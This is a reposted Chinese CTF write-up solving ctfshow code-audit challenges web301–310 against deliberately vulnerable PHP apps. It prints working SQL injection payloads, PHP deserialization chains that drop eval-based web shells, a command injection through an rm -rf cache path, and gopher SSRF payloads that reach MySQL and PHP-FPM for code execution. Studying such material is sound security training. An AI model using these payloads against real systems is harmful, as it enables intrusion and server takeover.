• 首页 首页 icon
  • 工具库 工具库 icon
    • IP查询 IP查询 icon
  • 内容库 内容库 icon
    • 快讯库 快讯库 icon
    • 精品库 精品库 icon
    • 问答库 问答库 icon
  • 更多 更多 icon
    • 服务条款 服务条款 icon

ctfshow 代码审计 web301~310

武飞扬头像
succ3
帮助1

web 301

在checklogin.php中没有对username做任何过滤,可以闭合它构造payload,且在第二个if中告诉我们只有通过sql语句查到的密码和我们的密码相同时才可以登录。

checklogin.php

$sql="select sds_password from sds_user where sds_username='".$username."' order by id limit 1;";

if(!strcasecmp($userpwd,$row['sds_password'])){
	$_SESSION['login']=1;
	$result->free();
	$mysqli->close();
	header("location:index.php");
	return;
}

直接闭合,联合查询1,这样返回的密码是1了,最后只要登录的密码也为1就可以拿到flag了。

' union select 1;#
1

web 302

修改了一个地方,给密码加密了。

if(!strcasecmp(sds_decode($userpwd),$row['sds_password'])){

加密代码也给我们了,伪造一下呗。

<?php
function sds_decode($str){
	return md5(md5($str.md5(base64_encode("sds")))."sds");
}
?>

exp:

<?php
$str = 1;
echo md5(md5($str.md5(base64_encode("sds")))."sds");

payload:

' union select 'd9c77c4e454869d5d8da3b4be79694d3';#
1

web 303

在sql文件中已经告诉我们了用户账号,和加密密码,可以对字典加密爆破,这边盲猜是admin。
学新通
原理看图:(参考:https://bbs.huaweicloud.com/blogs/306014
学新通
学新通
在dptadd.php中可以看出每个字段值都可控,所以我们可以在随便一个地方构造,这样它就会把我们想要查的东西插入到表中,最后我们再在dpt.php查看就可以了

爆表:
dpt_name=5',sds_address=(select group_concat(table_name) from information_schema.tables where table_schema=database())#

字段:
dpt_name=5',sds_address=(select group_concat(column_name) from information_schema.columns where table_name='sds_fl9g')#

flag:
dpt_name=5',sds_address=(select flag from sds_fl9g)#

学新通

web 304

没过滤,照上面的流程走一遍就行了。

web 305

知识点:利用反序列化写文件连接数据库

结合class.php和checklogin.php,利用cookie反序列化写入文件

class.php:

class user{
	public $username;
	public $password;
	public function __construct($u,$p){
		$this->username=$u;
		$this->password=$p;
	}
	public function __destruct(){
		file_put_contents($this->username, $this->password);
	}
}

checklogin.php:

$user_cookie = $_COOKIE['user'];
if(isset($user_cookie)){
	$user = unserialize($user_cookie);
}
学新通

payload:

<?php

class user{
    public $username;
    public $password;
    public function __construct(){
        $this->username='1.php';
        $this->password='<?php eval($_POST[1]);phpinfo();?>';
    }
}
echo urlencode(serialize(new user()));
Cookie: user=O:4:"user":2:{s:8:"username";s:5:"1.php";s:8:"password";s:34:"";};

最后连接数据库取flag

1=include('conn.php');
$sql="select flag from sds_flabag";
$result=$mysqli->query($sql);
$row=$result->fetch_array(MYSQLI_BOTH);
print_r($row);

学新通

web 306

在class.php中,有个file_put_contents可以利用,但是要找类来掉用它。

public function close(){
		file_put_contents($this->title, $this->info);
	}

通过全局搜索可以在dao.php中找到close的调用。

public function __destruct(){
		$this->conn->close();
	}

payload:

<?php

class dao{
    private $conn;
    public function __construct(){
        $this->conn=new log();
    }
}

class log{
    public $title='1.php';
    public $info='<?php eval($_POST[1]);?>';
}
echo base64_encode(serialize(new dao()));


学新通

最后就是找入口,因为我们调用了class和dao两个文件,所以入口文件必须包含这两个文件,且可以反序列,只有index.php符合,所以我们只要修改cookie,然后直接访问index.php就可以了,最后

TzozOiJkYW8iOjE6e3M6OToiAGRhbwBjb25uIjtPOjM6ImxvZyI6Mjp7czo1OiJ0aXRsZSI7czo1OiIxLnBocCI7czo0OiJpbmZvIjtzOjI0OiI8P3BocCBldmFsKCRfUE9TVFsxXSk7Pz4iO319

getflag

1=system('cat flag.php');

web 307

在dao.php中可以命令执行。

public function  clearCache(){
		shell_exec('rm -rf ./'.$this->config->cache_dir.'/*');
	}

可以利用管道符||来绕过,||当前面为报错,则运行下一条,若不报错,则不运行。

rm -rf ././ || cat /var/www/html/flag.php | tee 1.txt|| /*

再在phpstorm里全局搜索一下,在controller/logout.php中发现调用clearCache,且也包含了service.php。

if($service){
	$service->clearCache();
}

payload:

<?php
class dao{
    private $config;
    public function __construct(){
        $this->config=new config();
    }
}

class config{
    public $cache_dir = './ || cat /var/www/html/flag.php | tee 1.txt || ';
}

echo base64_encode(serialize(new dao()));

最后传入,然后访问controller/1.txt
学新通

web 308

参考wp:https://blog.csdn.net/miuzzx/article/details/111352849
参考知识点:https://blog.csdn.net/qq_41107295/article/details/103026470

利用 Gopher 协议 SSRF

漏洞:

function checkUpdate($url){
		$ch=curl_init();
		curl_setopt($ch, CURLOPT_URL, $url);
		curl_setopt($ch, CURLOPT_HEADER, false);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); 
        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
		$res = curl_exec($ch);
		curl_close($ch);
		return $res;
	}

dao.php:checkVersion
学新通
index.php
学新通
利用gopherus构造shell。
学新通

poc:

<?php
class dao{
    private $config;
    public function __construct(){
        $this->config = new config();
    }
}

class config{
    public $update_url = 'gopher://127.0.0.1:3306/_!rootmysql_native_passwordf_osLinux_client_namelibmysql_pid27255_client_version5.7.22	_platformx86_64program_namemysqlEselect "" into outfile "/var/www/html/1.php"';
}

echo base64_encode(serialize(new dao()));

传入cookie,写入shell:
学新通
获取flag:
学新通

web 309

知识点:SSRF--gopher协议打FastCGI(PHP-FPM的未授权访问漏洞)
参考:
https://www.leavesongs.com/PENETRATION/fastcgi-and-php-fpm.html#php-fpmfastcgi
https://blog.csdn.net/weixin_39664643/article/details/114977217
https://blog.csdn.net/qq_41107295/article/details/103026470
https://blog.csdn.net/unexpectedthing/article/details/121643002https://www.cnblogs.com/itbsl/p/9828776.html#介绍
https://www.cnblogs.com/itbsl/p/9828776.html#介绍

流程图:(有错误请指出,跪谢!)

学新通
解析好的环境变量:来自P神,环境变量的作用不仅是填充$_SERVER数组,也是告诉FPM:“我要执行哪个PHP文件”。

{
    'GATEWAY_INTERFACE': 'FastCGI/1.0',
    'REQUEST_METHOD': 'GET',
    'SCRIPT_FILENAME': '/var/www/html/index.php',
    'SCRIPT_NAME': '/index.php',
    'QUERY_STRING': '?a=1&b=2',
    'REQUEST_URI': '/index.php?a=1&b=2',
    'DOCUMENT_ROOT': '/var/www/html',
    'SERVER_SOFTWARE': 'php/fcgiclient',
    'REMOTE_ADDR': '127.0.0.1',
    'REMOTE_PORT': '12345',
    'SERVER_ADDR': '127.0.0.1',
    'SERVER_PORT': '80',
    'SERVER_NAME': "localhost",
    'SERVER_PROTOCOL': 'HTTP/1.1'
    'PHP_VALUE': 'auto_prepend_file = php://input',
    'PHP_ADMIN_VALUE': 'allow_url_include = On'
}
学新通

漏洞的产生和利用:(这是看了大佬们的文章后的自我理解,有错请指出,跪谢!)

产生:
1、curl、file_get_content、fsockopen等函数的参数过滤不严谨。
2、PHP-FPM的端口露在公网,使得可以自己构造fastcgi协议,和fpm进行通信。
3、fpm会根据fastcgi解析好的SCRIPT_FILENAME环境变量来执行php文件。
4、可以利用PHP_VALUE和PHP_ADMIN_VALUE两个环境变量来设置PHP配置项。
这样的话auto_prepend_file为php://input,就会执行放在body里的代码了,当然远程文件包含的设置allow_url_include也要打开。
利用:
1、先找一个已存在的php文件的绝对路径,赋给SCRIPT_FILENAME,若都不知道,则可以尝试一下安装php时就存在的默认环境。
2、利用PHP_VALUE设置auto_prepend_file为php://input,这样在执行任何php文件前都会包含POST里的内容。我们只需要把shell放在Body中,他们就能被执行了。且利用PHP_ADMIN_VALUE设置allow_url_include = On。

学新通
poc:

<?php
class dao{
    private $config;
    public function __construct(){
        $this->config = new config();
    }
}

class config{
    public $update_url = 'gopher://127.0.0.1:9000/_SERVER_SOFTWAREgo / fcgiclient 	REMOTE_ADDR127.0.0.1SERVER_PROTOCOLHTTP/1.1CONTENT_LENGTH59REQUEST_METHODPOST	KPHP_VALUEallow_url_include = On
disable_functions = 
auto_prepend_file = php://inputSCRIPT_FILENAME/var/www/html/index.php
DOCUMENT_ROOT/;';
}

echo base64_encode(serialize(new dao()));

传获取flag:
学新通

web 310

知识点:file伪协议的使用,查看nginx的配置文件

延时测试,fastcgi存在,可以find发现flag位置,但是无法查看,yu佬说是9000和6379都是关着的。可以试试读下配置文件(https://blog.csdn.net/miuzzx/article/details/111352849)

<?php
class config{
    public $update_url = 'file:///etc/nginx/nginx.conf';
}
class dao{
    private $config;
    public function __construct(){
        $this->config=new config();
    }

}
echo base64_encode(serialize(new dao()));
?>

可以看到正在监听着4476端口,和flag,访问下。
学新通
poc:

<?php
class config{
    public $update_url = 'http://127.0.0.1:4476';
}
class dao{
    private $config;
    public function __construct(){
        $this->config=new config();
    }

}
echo base64_encode(serialize(new dao()));
?>

学新通

疑问

虽然拿到了flag,但是9000端口关了还能传fastcgi给fpm?配置文件看不大懂,不知道在配置文件中这种算关了,还是没有监听。后来试了一下,可以写入一个shell文件,但是无法获取/var/flag,要root用户才可以访问。
学新通

总结

不足的地方太多太多了,只能加油了,最后感谢师傅们的无私。

这篇好文章是转载于:学新通技术网

  • 版权申明: 本站部分内容来自互联网,仅供学习及演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,请提供相关证据及您的身份证明,我们将在收到邮件后48小时内删除。
  • 本站站名: 学新通技术网
  • 本文地址: /boutique/detail/tanhgabihc
系列文章
更多 icon
同类精品
更多 icon
继续加载